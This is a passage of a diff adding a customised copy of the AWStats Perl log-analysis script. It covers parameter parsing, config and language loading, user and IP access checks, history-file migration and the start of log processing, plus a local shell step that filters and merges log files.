sprintf( "%04d", $2 ); +} +else { $YearRequired = "$nowyear"; } +if ( $QueryString =~ /(^|&|&)month=(\d{1,2})/i ) { + $MonthRequired = sprintf( "%02d", $2 ); +} +elsif ( $QueryString =~ /(^|&|&)month=(all)/i ) { $MonthRequired = 'all'; } +else { $MonthRequired = "$nowmonth"; } +if ( $QueryString =~ /(^|&|&)day=(\d{1,2})/i ) { + $DayRequired = sprintf( "%02d", $2 ); +} # day is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day. +else { $DayRequired = ''; } +if ( $QueryString =~ /(^|&|&)hour=(\d{1,2})/i ) { + $HourRequired = sprintf( "%02d", $2 ); +} # hour is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day. +else { $HourRequired = ''; } + +# Check parameter validity +# TODO + +# Print AWStats and Perl version +if ($Debug) { + debug( ucfirst($PROG) . " - $VERSION - Perl $^X $]", 1 ); + debug( "DIR=$DIR PROG=$PROG Extension=$Extension", 2 ); + debug( "QUERY_STRING=$QueryString", 2 ); + debug( "HTMLOutput=" . join( ',', keys %HTMLOutput ), 1 ); + debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 ); + debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 ); + debug( "UpdateFor=$UpdateFor", 2 ); + debug( "PluginMode=$PluginMode", 2 ); + debug( "DirConfig=$DirConfig", 2 ); +} + +# Force SiteConfig if AWSTATS_FORCE_CONFIG is defined +if ( $ENV{'AWSTATS_CONFIG'} ) { + $ENV{'AWSTATS_FORCE_CONFIG'} = $ENV{'AWSTATS_CONFIG'}; +} # For backward compatibility +if ( $ENV{'AWSTATS_FORCE_CONFIG'} ) { + if ($Debug) { + debug( "AWSTATS_FORCE_CONFIG parameter is defined to '" + . $ENV{'AWSTATS_FORCE_CONFIG'} + . "'. $PROG will use this as config value." ); + } + $SiteConfig = &Sanitize( $ENV{'AWSTATS_FORCE_CONFIG'} ); +} + +# Display help information +if ( ( !$ENV{'GATEWAY_INTERFACE'} ) && ( !$SiteConfig ) ) { + &PrintCLIHelp(); + exit 2; +} +$SiteConfig ||= &Sanitize( $ENV{'SERVER_NAME'} ); + +#$ENV{'SERVER_NAME'}||=$SiteConfig; # For thoose who use __SERVER_NAME__ in conf file and use CLI. +$ENV{'AWSTATS_CURRENT_CONFIG'} = $SiteConfig; + +# Read config file (SiteConfig must be defined) +&Read_Config($DirConfig); + +# Check language +if ( $QueryString =~ /(^|&|&)lang=([^&]+)/i ) { $Lang = "$2"; } +if ( !$Lang || $Lang eq 'auto' ) { # If lang not defined or forced to auto + my $langlist = $ENV{'HTTP_ACCEPT_LANGUAGE'} || ''; + $langlist =~ s/;[^,]*//g; + if ($Debug) { + debug( + "Search an available language among HTTP_ACCEPT_LANGUAGE=$langlist", + 1 + ); + } + foreach my $code ( split( /,/, $langlist ) ) + { # Search for a valid lang in priority + if ( $LangBrowserToLangAwstats{$code} ) { + $Lang = $LangBrowserToLangAwstats{$code}; + if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); } + last; + } + $code =~ s/-.*$//; + if ( $LangBrowserToLangAwstats{$code} ) { + $Lang = $LangBrowserToLangAwstats{$code}; + if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); } + last; + } + } +} +if ( !$Lang || $Lang eq 'auto' ) { + if ($Debug) { + debug( " No language defined or available. Will use Lang=en", 1 ); + } + $Lang = 'en'; +} + +# Check and correct bad parameters +&Check_Config(); + +# Now SiteDomain is defined + +if ( $Debug && !$DebugMessages ) { + error( +"Debug has not been allowed. Change DebugMessages parameter in config file to allow debug." + ); +} + +# Define frame name and correct variable for frames +if ( !$FrameName ) { + if ( $ENV{'GATEWAY_INTERFACE'} + && $UseFramesWhenCGI + && $HTMLOutput{'main'} + && !$PluginMode ) + { + $FrameName = 'index'; + } + else { $FrameName = 'main'; } +} + +# Load Message files, Reference data files and Plugins +if ($Debug) { debug( "FrameName=$FrameName", 1 ); } +if ( $FrameName ne 'index' ) { + &Read_Language_Data($Lang); + if ( $FrameName ne 'mainleft' ) { + my %datatoload = (); + my ( + $filedomains, $filemime, $filerobots, $fileworms, + $filebrowser, $fileos, $filese + ) + = ( + 'domains', 'mime', + 'robots', 'worms', + 'browsers', 'operating_systems', + 'search_engines' + ); + my ( $filestatushttp, $filestatussmtp ) = + ( 'status_http', 'status_smtp' ); + if ( $LevelForBrowsersDetection eq 'allphones' ) { + $filebrowser = 'browsers_phone'; + } + if ($UpdateStats) { # If update + if ($LevelForFileTypesDetection) { + $datatoload{$filemime} = 1; + } # Only if need to filter on known extensions + if ($LevelForRobotsDetection) { + $datatoload{$filerobots} = 1; + } # ua + if ($LevelForWormsDetection) { + $datatoload{$fileworms} = 1; + } # url + if ($LevelForBrowsersDetection) { + $datatoload{$filebrowser} = 1; + } # ua + if ($LevelForOSDetection) { + $datatoload{$fileos} = 1; + } # ua + if ($LevelForRefererAnalyze) { + $datatoload{$filese} = 1; + } # referer + # if (...) { $datatoload{'referer_spam'}=1; } + } + if ( scalar keys %HTMLOutput ) { # If output + if ( $ShowDomainsStats || $ShowHostsStats ) { + $datatoload{$filedomains} = 1; + } # TODO Replace by test if ($ShowDomainsStats) when plugins geoip can force load of domains datafile. + if ($ShowFileTypesStats) { $datatoload{$filemime} = 1; } + if ($ShowRobotsStats) { $datatoload{$filerobots} = 1; } + if ($ShowWormsStats) { $datatoload{$fileworms} = 1; } + if ($ShowBrowsersStats) { $datatoload{$filebrowser} = 1; } + if ($ShowOSStats) { $datatoload{$fileos} = 1; } + if ($ShowOriginStats) { $datatoload{$filese} = 1; } + if ($ShowHTTPErrorsStats) { $datatoload{$filestatushttp} = 1; } + if ($ShowSMTPErrorsStats) { $datatoload{$filestatussmtp} = 1; } + } + &Read_Ref_Data( keys %datatoload ); + } + &Read_Plugins(); +} + +# Here charset is defined, so we can send the http header (Need BuildReportFormat,PageCode) +if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { + http_head(); +} # Run from a browser as CGI + +# Init other parameters +$NBOFLINESFORBENCHMARK--; +if ( $ENV{'GATEWAY_INTERFACE'} ) { $DirCgi = ''; } +if ( $DirCgi && !( $DirCgi =~ /\/$/ ) && !( $DirCgi =~ /\\$/ ) ) { + $DirCgi .= '/'; +} +if ( !$DirData || $DirData =~ /^\./ ) { + if ( !$DirData || $DirData eq '.' ) { + $DirData = "$DIR"; + } # If not defined or chosen to '.' value then DirData is current dir + elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; } +} +$DirData ||= '.'; # If current dir not defined then we put it to '.' +$DirData =~ s/[\\\/]+$//; + +if ( $FirstDayOfWeek == 1 ) { @DOWIndex = ( 1, 2, 3, 4, 5, 6, 0 ); } +else { @DOWIndex = ( 0, 1, 2, 3, 4, 5, 6 ); } + +# Should we link to ourselves or to a wrapper script +$AWScript = ( $WrapperScript ? "$WrapperScript" : "$DirCgi$PROG.$Extension" ); +if (index($AWScript,'?')>-1) +{ + $AWScript .= '&'; # $AWScript contains URL parameters +} +else +{ + $AWScript .= '?'; +} + + +# Print html header (Need HTMLOutput,Expires,Lang,StyleSheet,HTMLHeadSectionExpires defined by Read_Config, PageCode defined by Read_Language_Data) +if ( !$HeaderHTMLSent ) { &html_head; } + +# AWStats output is replaced by a plugin output +if ($PluginMode) { + + # my $function="BuildFullHTMLOutput_$PluginMode()"; + # eval("$function"); + my $function = "BuildFullHTMLOutput_$PluginMode"; + &$function(); + if ( $? || $@ ) { error("$@"); } + &html_end(0); + exit 0; +} + +# Security check +if ( $AllowAccessFromWebToAuthenticatedUsersOnly && $ENV{'GATEWAY_INTERFACE'} ) +{ + if ($Debug) { debug( "REMOTE_USER=" . $ENV{"REMOTE_USER"} ); } + if ( !$ENV{"REMOTE_USER"} ) { + error( +"Access to statistics is only allowed from an authenticated session to authenticated users." + ); + } + if (@AllowAccessFromWebToFollowingAuthenticatedUsers) { + my $userisinlist = 0; + my $remoteuser = quotemeta( $ENV{"REMOTE_USER"} ); + $remoteuser =~ s/\s/%20/g + ; # Allow authenticated user with space in name to be compared to allowed user list + my $currentuser = qr/^$remoteuser$/i; # Set precompiled regex + foreach (@AllowAccessFromWebToFollowingAuthenticatedUsers) { + if (/$currentuser/o) { $userisinlist = 1; last; } + } + if ( !$userisinlist ) { + error( "User '" + . $ENV{"REMOTE_USER"} + . "' is not allowed to access statistics of this domain/config." + ); + } + } +} +if ( $AllowAccessFromWebToFollowingIPAddresses && $ENV{'GATEWAY_INTERFACE'} ) { + my $IPAddress = $ENV{"REMOTE_ADDR"}; # IPv4 or IPv6 + my $useripaddress = &Convert_IP_To_Decimal($IPAddress); + my @allowaccessfromipaddresses = + split( /[\s,]+/, $AllowAccessFromWebToFollowingIPAddresses ); + my $allowaccess = 0; + foreach my $ipaddressrange (@allowaccessfromipaddresses) { + if ( $ipaddressrange !~ + /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ + && $ipaddressrange !~ + /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ ) + { + error( +"AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\"" + ); + } + + # Test ip v4 + if ( $ipaddressrange =~ + /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ ) + { + my $ipmin = &Convert_IP_To_Decimal($1); + my $ipmax = $2 ? &Convert_IP_To_Decimal($2) : $ipmin; + + # Is it an authorized ip ? + if ( ( $useripaddress >= $ipmin ) && ( $useripaddress <= $ipmax ) ) + { + $allowaccess = 1; + last; + } + } + + # Test ip v6 + if ( $ipaddressrange =~ + /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ ) + { + if ( $ipaddressrange =~ /::\// ) { + my @IPv6split = split( /::/, $ipaddressrange ); + if ( $IPAddress =~ /^$IPv6split[0]/ ) { + $allowaccess = 1; + last; + } + } + elsif ( $ipaddressrange == $IPAddress ) { + $allowaccess = 1; + last; + } + } + } + if ( !$allowaccess ) { + error( "Access to statistics is not allowed from your IP Address " + . $ENV{"REMOTE_ADDR"} ); + } +} +if ( ( $UpdateStats || $MigrateStats ) + && ( !$AllowToUpdateStatsFromBrowser ) + && $ENV{'GATEWAY_INTERFACE'} ) +{ + error( "" + . ( $UpdateStats ? "Update" : "Migrate" ) + . " of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1)." + ); +} +if ( scalar keys %HTMLOutput && $MonthRequired eq 'all' ) { + if ( !$AllowFullYearView ) { + error( +"Full year view has not been allowed (AllowFullYearView is set to 0)." + ); + } + if ( $AllowFullYearView < 3 && $ENV{'GATEWAY_INTERFACE'} ) { + error( +"Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)." + ); + } +} + +#------------------------------------------ +# MIGRATE PROCESS (Must be after reading config cause we need MaxNbOf... and Min...) +#------------------------------------------ +if ($MigrateStats) { + if ($Debug) { debug( "MigrateStats is $MigrateStats", 2 ); } + if ( $MigrateStats !~ + /^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/ ) + { + error( +"AWStats history file name must match following syntax: ${PROG}MMYYYY[.config].txt", + "", "", 1 + ); + } + $DirData = "$1"; + $MonthRequired = "$2"; + $YearRequired = "$3"; + $DayRequired = "$4"; + $HourRequired = "$5"; + $FileSuffix = "$6"; + + # Correct DirData + if ( !$DirData || $DirData =~ /^\./ ) { + if ( !$DirData || $DirData eq '.' ) { + $DirData = "$DIR"; + } # If not defined or chosen to '.' value then DirData is current dir + elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; } + } + $DirData ||= '.'; # If current dir not defined then we put it to '.' + $DirData =~ s/[\\\/]+$//; + print "Start migration for file '$MigrateStats'."; + print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n"; + if ($EnableLockForUpdate) { &Lock_Update(1); } + my $newhistory = + &Read_History_With_TmpUpdate( $YearRequired, $MonthRequired, $DayRequired, + $HourRequired, 1, 0, 'all' ); + if ( rename( "$newhistory", "$MigrateStats" ) == 0 ) { + unlink "$newhistory"; + error( +"Failed to rename \"$newhistory\" into \"$MigrateStats\".\nWrite permissions on \"$MigrateStats\" might be wrong" + . ( + $ENV{'GATEWAY_INTERFACE'} ? " for a 'migration from web'" : "" + ) + . " or file might be opened." + ); + } + if ($EnableLockForUpdate) { &Lock_Update(0); } + print "Migration for file '$MigrateStats' successful."; + print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n"; + &html_end(1); + exit 0; +} + +# Output main frame page and exit. This must be after the security check. +if ( $FrameName eq 'index' ) { + + # Define the NewLinkParams for main chart + my $NewLinkParams = ${QueryString}; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; + $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } + + # Exit if main frame + print "<frameset cols=\"$FRAMEWIDTH,*\">\n"; + print "<frame name=\"mainleft\" src=\"" + . XMLEncode("$AWScript${NewLinkParams}framename=mainleft") + . "\" noresize=\"noresize\" frameborder=\"0\" />\n"; + print "<frame name=\"mainright\" src=\"" + . XMLEncode("$AWScript${NewLinkParams}framename=mainright") + . "\" noresize=\"noresize\" scrolling=\"yes\" frameborder=\"0\" />\n"; + print "<noframes><body>"; + print "Your browser does not support frames.<br />\n"; + print "You must set AWStats UseFramesWhenCGI parameter to 0\n"; + print "to see your reports.<br />\n"; + print "</body></noframes>\n"; + print "</frameset>\n"; + &html_end(0); + exit 0; +} + +%MonthNumLib = ( + "01", "$Message[60]", "02", "$Message[61]", "03", "$Message[62]", + "04", "$Message[63]", "05", "$Message[64]", "06", "$Message[65]", + "07", "$Message[66]", "08", "$Message[67]", "09", "$Message[68]", + "10", "$Message[69]", "11", "$Message[70]", "12", "$Message[71]" +); + +# Build ListOfYears list with all existing years +( + $lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate, + $lasthourbeforeupdate, $lastdatebeforeupdate + ) + = ( 0, 0, 0, 0, 0 ); +my $datemask = ''; +if ( $DatabaseBreak eq 'month' ) { $datemask = '(\d\d)(\d\d\d\d)'; } +elsif ( $DatabaseBreak eq 'year' ) { $datemask = '(\d\d\d\d)'; } +elsif ( $DatabaseBreak eq 'day' ) { $datemask = '(\d\d)(\d\d\d\d)(\d\d)'; } +elsif ( $DatabaseBreak eq 'hour' ) { + $datemask = '(\d\d)(\d\d\d\d)(\d\d)(\d\d)'; +} + +if ($Debug) { + debug( +"Scan for last history files into DirData='$DirData' with mask='$datemask'" + ); +} + +my $retval = opendir( DIR, "$DirData" ); +if(! $retval) +{ + error( "Failed to open directory $DirData : $!"); +} +my $regfilesuffix = quotemeta($FileSuffix); +foreach ( grep /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i, + file_filt sort readdir DIR ) +{ + /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i; + if ( !$ListOfYears{"$2"} || "$1" gt $ListOfYears{"$2"} ) { + + # ListOfYears contains max month found + $ListOfYears{"$2"} = "$1"; + } + my $rangestring = ( $2 || "" ) . ( $1 || "" ) . ( $3 || "" ) . ( $4 || "" ); + if ( $rangestring gt $lastdatebeforeupdate ) { + + # We are on a new max for mask + $lastyearbeforeupdate = ( $2 || "" ); + $lastmonthbeforeupdate = ( $1 || "" ); + $lastdaybeforeupdate = ( $3 || "" ); + $lasthourbeforeupdate = ( $4 || "" ); + $lastdatebeforeupdate = $rangestring; + } +} +close DIR; + +# If at least one file found, get value for LastLine +if ($lastyearbeforeupdate) { + + # Read 'general' section of last history file for LastLine + &Read_History_With_TmpUpdate( $lastyearbeforeupdate, $lastmonthbeforeupdate, + $lastdaybeforeupdate, $lasthourbeforeupdate, 0, 0, "general" ); +} + +# Warning if lastline in future +if ( $LastLine > ( $nowtime + 20000 ) ) { + warning( +"WARNING: LastLine parameter in history file is '$LastLine' so in future. May be you need to correct manually the line LastLine in some awstats*.$SiteConfig.conf files." + ); +} + +# Force LastLine +if ( $QueryString =~ /lastline=(\d{14})/i ) { + $LastLine = $1; +} +if ($Debug) { + debug( + "Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate"); + debug("Last day=$lastdaybeforeupdate - Last hour=$lasthourbeforeupdate"); + debug("LastLine=$LastLine"); + debug("LastLineNumber=$LastLineNumber"); + debug("LastLineOffset=$LastLineOffset"); + debug("LastLineChecksum=$LastLineChecksum"); +} + +# Init vars +&Init_HashArray(); + +#------------------------------------------ +# UPDATE PROCESS +#------------------------------------------ +my $lastlinenb = 0; +my $lastlineoffset = 0; +my $lastlineoffsetnext = 0; +if ($Debug) { debug( "UpdateStats is $UpdateStats", 2 ); } +if ( $UpdateStats && $FrameName ne 'index' && $FrameName ne 'mainleft' ) +{ # Update only on index page or when not framed to avoid update twice + + my %MonthNum = ( + "Jan", "01", "jan", "01", "Feb", "02", "feb", "02", "Mar", "03", + "mar", "03", "Apr", "04", "apr", "04", "May", "05", "may", "05", + "Jun", "06", "jun", "06", "Jul", "07", "jul", "07", "Aug", "08", + "aug", "08", "Sep", "09", "sep", "09", "Oct", "10", "oct", "10", + "Nov", "11", "nov", "11", "Dec", "12", "dec", "12" + ) + ; # MonthNum must be in english because used to translate log date in apache log files + + if ( !scalar keys %HTMLOutput ) { + print +"Create/Update database for config \"$FileConfig\" by AWStats version $VERSION\n"; + print "From data in log file \"$LogFile\"...\n"; + } + + my $lastprocessedyear = $lastyearbeforeupdate || 0; + my $lastprocessedmonth = $lastmonthbeforeupdate || 0; + my $lastprocessedday = $lastdaybeforeupdate || 0; + my $lastprocessedhour = $lasthourbeforeupdate || 0; + my $lastprocesseddate = ''; + if ( $DatabaseBreak eq 'month' ) { + $lastprocesseddate = + sprintf( "%04i%02i", $lastprocessedyear, $lastprocessedmonth ); + } + elsif ( $DatabaseBreak eq 'year' ) { + $lastprocesseddate = sprintf( "%04i%", $lastprocessedyear ); + } + elsif ( $DatabaseBreak eq 'day' ) { + $lastprocesseddate = sprintf( "%04i%02i%02i", + $lastprocessedyear, $lastprocessedmonth, $lastprocessedday ); + } + elsif ( $DatabaseBreak eq 'hour' ) { + $lastprocesseddate = sprintf( + "%04i%02i%02i%02i", + $lastprocessedyear, $lastprocessedmonth, + $lastprocessedday, $lastprocessedhour + ); + } + + my @list; + + # Init RobotsSearchIDOrder required for update process + @list = (); + if ( $LevelForRobotsDetection >= 1 ) { + foreach ( 1 .. $LevelForRobotsDetection ) { push @list, "list$_"; } + push @list, "listgen"; # Always added + } + foreach my $key (@list) { + push @RobotsSearchIDOrder, @{"RobotsSearchIDOrder_$key"}; + if ($Debug) { + debug( + "Add " + . @{"RobotsSearchIDOrder_$key"} + . " elements from RobotsSearchIDOrder_$key into RobotsSearchIDOrder", + 2 + ); + } + } + if ($Debug) { + debug( + "RobotsSearchIDOrder has now " . @RobotsSearchIDOrder . " elements", + 1 + ); + } + + # Init SearchEnginesIDOrder required for update process + @list = (); + if ( $LevelForSearchEnginesDetection >= 1 ) { + foreach ( 1 .. $LevelForSearchEnginesDetection ) { + push @list, "list$_"; + } + push @list, "listgen"; # Always added + } + foreach my $key (@list) { + push @SearchEnginesSearchIDOrder, @{"SearchEnginesSearchIDOrder_$key"}; + if ($Debug) { + debug( + "Add " + . @{"SearchEnginesSearchIDOrder_$key"} + . " elements from SearchEnginesSearchIDOrder_$key into SearchEnginesSearchIDOrder", + 2 + ); + } + } + if ($Debug) { + debug( + "SearchEnginesSearchIDOrder has now " + . @SearchEnginesSearchIDOrder + . " elements", + 1 + ); + } + + # Complete HostAliases array + my $sitetoanalyze = quotemeta( lc($SiteDomain) ); + if ( !@HostAliases ) { + warning( +"Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\"." + ); + push @HostAliases, qr/^$sitetoanalyze$/i; + push @HostAliases, qr/^localhost$/i; + push @HostAliases, qr/^127\.0\.0\.1$/i; + } + else { + unshift @HostAliases, qr/^$sitetoanalyze$/i; + } # Add SiteDomain as first value + + # Optimize arrays + @HostAliases = &OptimizeArray( \@HostAliases, 1 ); + if ($Debug) { + debug( "HostAliases precompiled regex list is now @HostAliases", 1 ); + } + @SkipDNSLookupFor = &OptimizeArray( \@SkipDNSLookupFor, 1 ); + if ($Debug) { + debug( + "SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor", + 1 + ); + } + @SkipHosts = &OptimizeArray( \@SkipHosts, 1 ); + if ($Debug) { + debug( "SkipHosts precompiled regex list is now @SkipHosts", 1 ); + } + @SkipReferrers = &OptimizeArray( \@SkipReferrers, 1 ); + if ($Debug) { + debug( "SkipReferrers precompiled regex list is now @SkipReferrers", + 1 ); + } + @SkipUserAgents = &OptimizeArray( \@SkipUserAgents, 1 ); + if ($Debug) { + debug( "SkipUserAgents precompiled regex list is now @SkipUserAgents", + 1 ); + } + @SkipFiles = &OptimizeArray( \@SkipFiles, $URLNotCaseSensitive ); + if ($Debug) { + debug( "SkipFiles precompiled regex list is now @SkipFiles", 1 ); + } + @OnlyHosts = &OptimizeArray( \@OnlyHosts, 1 ); + if ($Debug) { + debug( "OnlyHosts precompiled regex list is now @OnlyHosts", 1 ); + } + @OnlyUsers = &OptimizeArray( \@OnlyUsers, 1 ); + if ($Debug) { + debug( "OnlyUsers precompiled regex list is now @OnlyUsers", 1 ); + } + @OnlyUserAgents = &OptimizeArray( \@OnlyUserAgents, 1 ); + if ($Debug) { + debug( "OnlyUserAgents precompiled regex list is now @OnlyUserAgents", + 1 ); + } + @OnlyFiles = &OptimizeArray( \@OnlyFiles, $URLNotCaseSensitive ); + if ($Debug) { + debug( "OnlyFiles precompiled regex list is now @OnlyFiles", 1 ); + } + @NotPageFiles = &OptimizeArray( \@NotPageFiles, $URLNotCaseSensitive ); + if ($Debug) { + debug( "NotPageFiles precompiled regex list is now @NotPageFiles", 1 ); + } + + # Precompile the regex search strings with qr + @RobotsSearchIDOrder = map { qr/$_/i } @RobotsSearchIDOrder; + @WormsSearchIDOrder = map { qr/$_/i } @WormsSearchIDOrder; + @BrowsersSearchIDOrder = map { qr/$_/i } @BrowsersSearchIDOrder; + @OSSearchIDOrder = map { qr/$_/i } @OSSearchIDOrder; + @SearchEnginesSearchIDOrder = map { qr/$_/i } @SearchEnginesSearchIDOrder; + my $miscquoted = quotemeta("$MiscTrackerUrl"); + my $defquoted = quotemeta("/$DefaultFile[0]"); + my $sitewithoutwww = lc($SiteDomain); + $sitewithoutwww =~ s/www\.//; + $sitewithoutwww = quotemeta($sitewithoutwww); + + # Define precompiled regex + my $regmisc = qr/^$miscquoted/; + my $regfavico = qr/\/favicon\.ico$/i; + my $regrobot = qr/\/robots\.txt$/i; + my $regtruncanchor = qr/#(\w*)$/; + my $regtruncurl = qr/([$URLQuerySeparators])(.*)$/; + my $regext = qr/\.(\w{1,6})$/; + my $regdefault; + if ($URLNotCaseSensitive) { $regdefault = qr/$defquoted$/i; } + else { $regdefault = qr/$defquoted$/; } + my $regipv4 = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + my $regipv4l = qr/^::ffff:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + my $regipv6 = qr/^[0-9A-F]*:/i; + my $regvermsie = qr/msie([+_ ]|)([\d\.]*)/i; + my $regvernetscape = qr/netscape.?\/([\d\.]*)/i; + my $regverfirefox = qr/firefox\/([\d\.]*)/i; + my $regveropera = qr/opera\/([\d\.]*)/i; + my $regversafari = qr/safari\/([\d\.]*)/i; + my $regversafariver = qr/version\/([\d\.]*)/i; + my $regverchrome = qr/chrome\/([\d\.]*)/i; + my $regverkonqueror = qr/konqueror\/([\d\.]*)/i; + my $regversvn = qr/svn\/([\d\.]*)/i; + my $regvermozilla = qr/mozilla(\/|)([\d\.]*)/i; + my $regnotie = qr/webtv|omniweb|opera/i; + my $regnotnetscape = qr/gecko|compatible|opera|galeon|safari|charon/i; + my $regnotfirefox = qr/flock/i; + my $regnotsafari = qr/android|arora|chrome|shiira/i; + my $regreferer = qr/^(\w+):\/\/([^\/:]+)(:\d+|)/; + my $regreferernoquery = qr/^([^$URLQuerySeparators]+)/; + my $reglocal = qr/^(www\.|)$sitewithoutwww/i; + my $regget = qr/get|out/i; + my $regsent = qr/sent|put|in/i; + + # Define value of $pos_xxx, @fieldlib, $PerlParsingFormat + &DefinePerlParsingFormat($LogFormat); + + # Load DNS Cache Files + #------------------------------------------ + if ($DNSLookup) { + &Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 ) + ; # Load with save into a second plugin file if plugin enabled and second file not up to date. No use of FileSuffix + if ( $DNSLookup == 1 ) { # System DNS lookup required + #if (! eval("use Socket;")) { error("Failed to load perl module Socket."); } + #use Socket; + &Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile", + "$FileSuffix", 0 ) + ; # Load with no save into a second plugin file. Use FileSuffix + } + } + + # Processing log + #------------------------------------------ + + if ($EnableLockForUpdate) { + + # Trap signals to remove lock + $SIG{INT} = \&SigHandler; # 2 + #$SIG{KILL} = \&SigHandler; # 9 + #$SIG{TERM} = \&SigHandler; # 15 + # Set AWStats update lock + &Lock_Update(1); + } + + if ($Debug) { + debug("Start Update process (lastprocesseddate=$lastprocesseddate)"); + } + + # Apply a filter to the log files + if ($FileConfig =~ /extra/ ) { + my $MethodLogFile = $LogFile; + my $IdLogFile = $LogFile; + my $LoginLogFile = $LogFile; + my $Folder = "/root/monitoramento-ej/wwwroot/cgi-bin"; + my $Filter = "$Folder/filter.sh"; + my $TmpFile = "$Folder/tmp"; + $LoginLogFile =~ s/app/login/; + $IdLogFile =~ s/app/id/; + $MethodLogFile =~ s/app/method/; + debug("Apply a filter to the log files \"$MethodLogFile\" \"$IdLogFile\" \"$LoginLogFile\""); + system("bash $Filter $MethodLogFile $IdLogFile $LoginLogFile > $TmpFile") == 0 or die "system \"bash $Filter $MethodLogFile $IdLogFile $LoginLogFile > $TmpFile\" failed: $?"; + system("mv -f $TmpFile $IdLogFile") == 0 or die "system \"mv -f $TmpFile $IdLogFile\" failed: $?"; + # create app log file then concat ids and querys + system("cp $MethodLogFile $LogFile") == 0 or die "system \"cp $MethodLogFile $LogFile\" failed: $?"; + system("paste $LogFile $IdLogFile -d' ' > $TmpFile") == 0 or die "system \"paste $LogFile $IdLogFile -d' ' > $TmpFile\" failed: $?"; + system("mv -f $TmpFile $LogFile") == 0 or die "system \"mv -f $TmpFile $LogFile\" failed: $?"; + # concat logins informations + system("cat $LoginLogFile >> $LogFile") == 0 or die "system \"cat $LoginLogFile >> $LogFile\" failed: $?"; + } + + # Open log file + if ($Debug) { debug("Open log file \"$LogFile\""); } + open( LOG, "$LogFile" ) + || error("Couldn't open server log file \"$LogFile\" : $!"); + binmode LOG + ; # Avoid premature EOF due to log files corrupted with \cZ or bin chars + + # Define local variables for loop scan + my @field = (); + my $counterforflushtest = 0; + my $qualifdrop = ''; + my $countedtraffic = 0; + + # Reset chrono for benchmark (first call to GetDelaySinceStart) + &GetDelaySinceStart(1); + if ( !scalar keys %HTMLOutput ) { + print "Phase 1 : First bypass old records, searching new record...\n"; + } + + # Can we try a direct seek access in log ? + my $line; + if ( $LastLine && $LastLineNumber && $LastLineOffset && $LastLineChecksum ) + { + + # Try a direct seek access to save time + if ($Debug) { + debug( +"Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum" + ); + } + seek( LOG, $LastLineOffset, 0 ); + if ( $line = <LOG> ) { + chomp $line; + $line =~ s/\r$//; + @field = map( /$PerlParsingFormat/, $line ); + if ($Debug) { + my $string = ''; + foreach ( 0 .. @field - 1 ) { + $string .= "$fieldlib[$_]=$field[$_] "; + } + if ($Debug) { + debug( " Read line after direct access: $string", 1 ); + } + } + my $checksum = &CheckSum($line); + if ($Debug) { + debug( +" LastLineChecksum=$LastLineChecksum, Read line checksum=$checksum", + 1 + ); + } + if ( $checksum == $LastLineChecksum ) { + if ( !scalar keys %HTMLOutput ) { + print +"Direct access after last parsed record (after line $LastLineNumber)\n"; + } + $lastlinenb = $LastLineNumber; + $lastlineoffset = $LastLineOffset; + $lastlineoffsetnext = tell LOG; + $NewLinePhase = 1; + } + else { + if ( !scalar keys %HTMLOutput ) { + print +"Direct access to last remembered record has fallen on another record.\nSo searching new records from beginning of log file...\n"; + } + $lastlinenb = 0; + $lastlineoffset = 0; + $lastlineoffsetnext = 0; + seek( LOG, 0, 0 ); + } + } + else { + if ( !scalar keys %HTMLOutput ) { + print +"Direct access to last remembered record is out of file.\nSo searching it from beginning of log file...\n"; + } + $lastlinenb = 0; + $lastlineoffset = 0; + $lastlineoffsetnext = 0; + seek( LOG, 0, 0 ); + } + } + else { + + # No try of direct seek access + if ( !scalar keys %HTMLOutput ) { + print "Searching new records from beginning of log file...\n"; + } + $lastlinenb = 0; + $lastlineoffset = 0; + $lastlineoffsetnext = 0; + } + + # + # Loop on each log line + # + while ( $line = <LOG> ) { + + # 20080525 BEGIN Patch to test if first char of $line = hex "00" then conclude corrupted with binary code + my $FirstHexChar; + $FirstHexChar = sprintf( "%02X", ord( substr( $line, 0, 1 ) ) ); + if ( $FirstHexChar eq '00' ) { + $NbOfLinesCorrupted++; + if ($ShowCorrupted) { + print "Corrupted record line " + . ( $lastlinenb + 